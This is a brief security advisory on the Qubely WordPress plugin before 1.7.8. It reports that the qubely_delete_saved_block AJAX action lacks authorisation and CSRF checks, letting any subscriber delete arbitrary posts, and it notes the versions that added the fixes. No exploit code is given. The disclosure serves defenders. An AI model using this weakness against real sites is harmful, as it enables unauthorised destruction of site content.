Qubely < 1.7.8 - Subscriber+ Arbitrary Post Deletion
Description
The plugin does not have authorisation and CSRF check on the qubely_delete_saved_block AJAX action, and does not ensure that the block to be deleted belong to the plugin, as a result, any authenticated users, such as subscriber can delete arbitrary posts
Note: v1.7.7 added capability check, CSRF check were added in 1.7.8
